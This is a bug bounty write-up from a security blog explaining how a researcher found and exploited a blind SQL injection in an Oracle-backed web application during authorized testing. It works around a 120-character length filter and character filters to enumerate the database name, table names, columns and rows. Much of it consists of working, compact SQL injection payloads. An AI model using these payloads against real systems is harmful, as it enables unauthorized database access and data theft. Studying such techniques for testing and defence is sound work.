Exploits Explained: Defeating length filters to enable SQL injection
Sara Bakhshi / Unsplash
Editor's note: This post from Synack Red Team member Kuldeep Pandya brings the Exploits Explained series to README for the first time. Stay tuned for additional coverage of common vulnerabilities and exploit techniques, and be sure to follow README on LinkedIn.
Hello, hackers!
Most SQL injections I find are very trivial and do not require a separate blog post.
However, this particular SQL injection was far from being straightforward. It required me to work more than 13 hours to successfully dump the database. Although some of the tricks that I used for this SQL injection are not new and can be found with a bit of Google search, I learned them the hard way.
This blog post aims to share with the community what I learned along the way. I will cover my entire thought process and journey from detection to full exploitation of the SQL injection. I hope this walkthrough will be helpful to someone who encounters a similar challenge.
Strap in for an in-depth look at SQL injections (SQLis) and the methods I used to bypass some mitigations intended to prevent them.
Discovery
A new target was onboarded to me on the Synack Red Team platform; however, on looking at it, I realized it was a refresh of an old target.
While this target was previously onboarded, I sent a few SQLis. Because of this, I was certain that I could find more SQLis this time.
As usual, I browsed the application like a normal user and checked the requests that the application sent. I tested each request manually for SQL injections.
The "manual testing" part for me is mostly injecting special characters into different parameters and observing the behavior of the application.
While testing for SQL injection on a particular request, I noticed the following behavior:
Payload | response length |
422 KB | |
' | 33 KB |
'-- - | 33 KB |
')-- - | 422KB |
Note: The first value is nothing. It is the normal response the application would send.
This was intriguing behavior. It looked like a potential SQL injection. I tried a few more SQLi payloads, but I couldn’t find the right payload for it.
Running SQLMap and discovering the balanced query
To find the correct query, I sent the request to SQLMap. SQLMap successfully discovered the SQL injection and gave me the query that would give me a boolean response.
It gave me the following payload:
123' AND (SELECT (CASE WHEN (4747=4747) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,4747) END) FROM DUAL) IS NULL OR 'iTjZ'='tEus
Payload explanation
SELECT (...) FROM DUAL
: This is just a simpleSELECT
query that encapsulates the underlyingCASE...WHEN
statement.CASE WHEN (condition) THEN <true statement> ELSE <false statement> END
: This section is the most important asCASE...WHEN
will execute atrue
orfalse
statement based on the condition. It is similar to the classicif…else
in different programming languages.4747=4747
: This is an always true condition as 4747 is always equal to 4747.CTXSYS.DRITHSX.SN(1,4747)
: This is a function call to an internal Oracle DBMS function. I could not find much documentation about the function. But in this payload, this function should respond with an error message.
So, the payload checks if 4747 is equal to 4747 (which is true) then it selects NULL
and compares NULL
with NULL
(which is also true). This will result in a true response.
If we wanted to receive a false response, we would replace 4747=4747
with 4747=4848
.
I now had a working payload. I tried to enumerate the databases using SQLMap. However, SQLMap failed to enumerate the databases.
I was not surprised by this behavior because, during my initial enumeration, I noticed that the server correctly filtered out some characters. These characters included but were not limited to the following:
- "
- #
- `
Due to these character filters, SQLMap was unable to enumerate the databases. I decided to do the database dumping by hand.
I simplified the SQLMap's payload to the following:
123' AND (
SELECT (
CASE
WHEN (12345678901234567890=12345678901234567890) THEN NULL
ELSE 1/0
END
) FROM DUAL
) IS NULL OR '1'='1
Discovering a length filter
After doing a little back and forth with the payloads, I realized that some payloads were not acting as they should be.
For example, the following payload resulted in a 302 Found
response rather than a 200 OK
response:
123' AND (
SELECT (
CASE
WHEN (12345678901234567890=12345678901234567890) THEN NULL
ELSE 1/0
END
) FROM DUAL
) IS NULL OR '1'='1
Although they are both the same numbers, the server was resulting in a 302 Found
response. Usually, the server responded in a 302 Found
response when we sent a character that the server was filtering.
However, we did not send any bad characters in this payload. The 1=1
payload was found to be working previously.
I changed the condition from 12345678901234567890=12345678901234567890
to 1234567890=1234567890
and the server returned 200 OK
with a true
response.
This was evident that something weird happened when we sent a large payload. There must be some sort of length filter on the backend that prevents us from sending long payloads.
After adding one character at a time, I figured out that if we send any more characters than 120, the server would not process the request and we would receive a 302 Found
response. Whatever payload we use must be less than or equal to 120 characters.
I tried to see ways in which I could shorten the payload. I learned that we can replace NULL
with 1
in the payload and it will work just fine. The resulting shorter payload was:
' AND (
SELECT (
CASE
WHEN (1=1) THEN 1
ELSE 1/0
END
) FROM DUAL
)=1 OR '1'='1
We moved from requiring 86 characters to 74 characters! Excellent!
I suspected that the SELECT
statement around the CASE...WHEN
statement was necessary. I tried removing it and it turns out that it was optional! We can directly use CASE...WHEN
without wrapping it using SELECT
. Our payload was even shorter now.
' AND (
CASE
WHEN (1=2) THEN 1
ELSE 1/0
END
)=1 OR '1'='1
This payload was merely 55 characters long!
Dumping the database name
It was now time to enumerate the database names. My strategy to dump the database name was as follows:
- Find out the length of the current database name. We will refer to the length of the database as
len
. - Use a substring payload where the
SUBSTR()
function starts from the first character of the database and goes tilllen
. - Enumerate one character at a time.
To determine the database length, I used the following payload:
' AND (
CASE
WHEN ((SELECT LENGTH(SYS.DATABASE_NAME) FROM DUAL)>0) THEN 1
ELSE 1/0
END
)=1 OR '1'='1
The above payload checks if the length of the current database name is greater than 0. This is true for any database name. Hence, we get a true
response.
By increasing one number at a time, we get to know that the database name is exactly 6 characters long.
To dump the database name, I used a SUBSTR()
payload that looks like this:
' AND (
CASE
WHEN ((SELECT ASCII(SUBSTR(SYS.DATABASE_NAME,1,1)) FROM DUAL)>0) THEN 1
ELSE 1/0
END
)=1 OR '1'='1
Payload explanation
SUBSTR(SYS.DATABASE_NAME,1,1)
: This part returns the very first character of the database name.ASCII(...)
: This function converts the first character of the database name to its corresponding ASCII value.ASCII(SUBSTR(...))>0
: This part checks if the ASCII value of the first character is greater than 0 (which is always true unless the server uses Unicode database names).
In theory, we can keep increasing from 0
to up to 127
. However, valid database names start after 45
(ASCII value of -
) and go up to 122
(ASCII value of lowercase z
).
I did the brute force for each character and found out the database name to be "SYNACK" (obviously fake because I will not reveal client details).
Dumping the table name
Now that we know the database name, it's time to dump the table names. Using PayloadsAllTheThings, I came across the following query:
SELECT table_name FROM all_tables
However, this query would return multiple rows in the response. Using our technique, we can only dump one row and one column, one character at a time. It is very slow but this is the best we've got.
Following the PayloadsAllTheThings page, I knew that we could use the ROWNUM
pseudo-column to filter from the number of rows returned by the query. This payload, which incorporates this technique, finds the length of the first table from the all_tables
view:
' AND (
CASE
WHEN ((SELECT LENGTH(table_name,1,1) FROM all_tables WHERE ROWNUM=1)=0) THEN 1
ELSE 1/0
END
)=1 OR '1'='1
Increasing the number, I found out the table was 4 characters long.
After using a SUBSTR()
payload, I discovered the table name was "DUAL". :/ For a practical proof-of-concept, we will need a table that is not a system table. It should contain some client data.
I changed from ROWNUM=1
to ROWNUM=2
in the hope that it would give me the next row. However, in Oracle, the ROWNUM
pseudo-column works in an unexpected way. We cannot directly provide a row number apart from ROWNUM=1
.
Finding a way to use limits and offsets
We had to find a different solution that would limit the number of rows returned by the SQL query. MySQL has LIMIT
and OFFSET
statements that can be used to limit the number of rows. I knew a little about Oracle limits. Upon doing further Google searches, I found out that we need to use OFFSET...FETCH
statements if we wish to limit the results.
An example usage would be like this:
' AND (
CASE
WHEN ((SELECT LENGTH(table_name,1,1) FROM all_tables OFFSET 1 ROWS FETCH NEXT 1 ROWS ONLY)=0) THEN 1
ELSE 1/0
END
)=1 OR '1'='1
However, this payload would exceed our maximum limit of 120 characters. :(
Finding the shortest possible payload
I shifted my focus toward crafting the shortest payload that would give me a boolean response. I played around with the payload a bit and I discovered that in some places, spaces were optional. We could eliminate spaces!
For example, consider the following CASE...WHEN
payload
CASE WHEN (1=1) THEN 1 ELSE 1/0 END -- 35 characters
This can be rewritten to eliminate spaces like this:
CASE WHEN(1=1)THEN 1ELSE 1/0END -- 31 characters
Keeping this in mind, I crafted the shortest possible payload that provided me with a boolean response as:
'AND(CASE WHEN(1=1)THEN 1ELSE 1/0END)=1OR'1'='1 -- 47 characters
By doing this, we effectively moved from 86 characters to 47 characters. This was a massive improvement!
Successfully dumping table names
With our refined payload and using offsets, I went on to dump the table names. I skipped the first table that was "DUAL" and started dumping the second table name. To do this, I used the following payload:
'AND(CASE WHEN((SELECT table_name FROM all_tables OFFSET 1 ROWS FETCH NEXT 1 ROWS ONLY)>'A')THEN 1ELSE 1/0END)=1OR'1'='1 -- 120 characters
Using this payload, I dumped the first three characters from the table name that was "SYS". After dumping the third character, the payload becomes exactly 120 characters long and we cannot dump any further.
I found a workaround for this by using the LIKE
statement and eliminating offsets and limits. Here is the payload that I used:
'AND(CASE WHEN((SELECT COUNT(*) FROM all_tables WHERE table_name LIKE 'SYS_______')>0)THEN 1ELSE 1/0END)=1OR'1'='1 -- 114 characters
Enumerating the table name one character at a time, I found that the table name was "SYSTEMTBL$". I could not enumerate the last $ character because it was a bad character. However, I googled the table name and found out that it was also a system table and the table name ended with a $.
I tried to play around with the offset values to enumerate more table names but almost all of them turned out to be system tables.
To find a table that was not a system table, I did some guesswork. As I mentioned earlier in the blog, this application was a retest. I had already sent plenty of SQLis on this application. Due to this, I was fortunate enough to know the naming convention of the tables. I knew the table names had the following prefix: "SYN_".
I crafted a payload to check for tables that had the "SYN_" prefix. The payload looked like this:
'AND(CASE WHEN((SELECT COUNT(*) FROM all_tables WHERE table_name LIKE 'SYN____')=1)THEN 1ELSE 1/0END)=1OR'1'='1 -- 111 characters
This payload was successful and I enumerated the table name to be "SYN_NEW".
Guessing column names
Next up, we had to enumerate the column names from the "SYN_NEW" table. For this, I tried to craft a payload like this:
'AND(CASE WHEN((SELECT OWNER FROM all_tab_columns WHERE table_name='SYN_NEW'ANDROWNUM=1)>0)THEN 1ELSE 1/0END)=1OR'1'='1 -- 119 characters
However, this payload would not work. The (SELECT OWNER FROM all_tab_columns WHERE table_name='SYN_NEW'ANDROWNUM=1)
subquery returns a string and we must compare it with a string to get a meaningful result. Even if we try to compare it with the ASCII value of the first character, we would be limited to enumerating the first character of the column name. We had just enough space to fit a single character.
I could not think of anything from here. So, I decided to brute force the column names. To perform the brute force, I used the following payload:
'AND(CASE WHEN((SELECT LENGTH(§test§) FROM SYN_NEW OFFSET 1ROWS FETCH NEXT 1ROWS ONLY)>0)THEN 1ELSE 1/0END)=1OR'1'='1 -- 115 characters
I brute-forced using the burp-parameter-names.txt wordlist.
And, quickly enough, I found one column "user".
Dumping the rows
From here, the database dump was quite easy, I just used the following payload to dump one row at a time:
'AND(CASE WHEN((SELECT user FROM SYN_NEW OFFSET 1ROW FETCH NEXT 1ROW ONLY)>'SYN')THEN 1ELSE 1/0END)=1OR'1'=' -- 108 characters
I enumerated the first row to be "SYN_WAS". To confirm that what we dumped was indeed a valid row and was not a fluke, I used the following payload:
'AND(CASE WHEN((SELECT user FROM SYN_NEW OFFSET 1ROW FETCH NEXT 1ROW ONLY)='SYN_WAS')THEN 1ELSE 1/0END)=1OR'1'=' -- 112 characters
If you change "SYN_WAS" to something else, like "SYN_WAR", the application will send a false response, confirming that our row dump is valid.
Sent the report to Synack and they happily accepted the findings!
Takeaways
- Keep taking notes of your vulnerabilities. You never know when they will become useful.
- Bug bounties are often luck paired with hard work. If I had not found the SQL injections on this target in the past, I would never have guessed what naming structure the table names follow.
I love doing technical discussions with the community! If you have a question about anything related to infosec, feel free to send me a DM on my Twitter/Instagram/LinkedIn.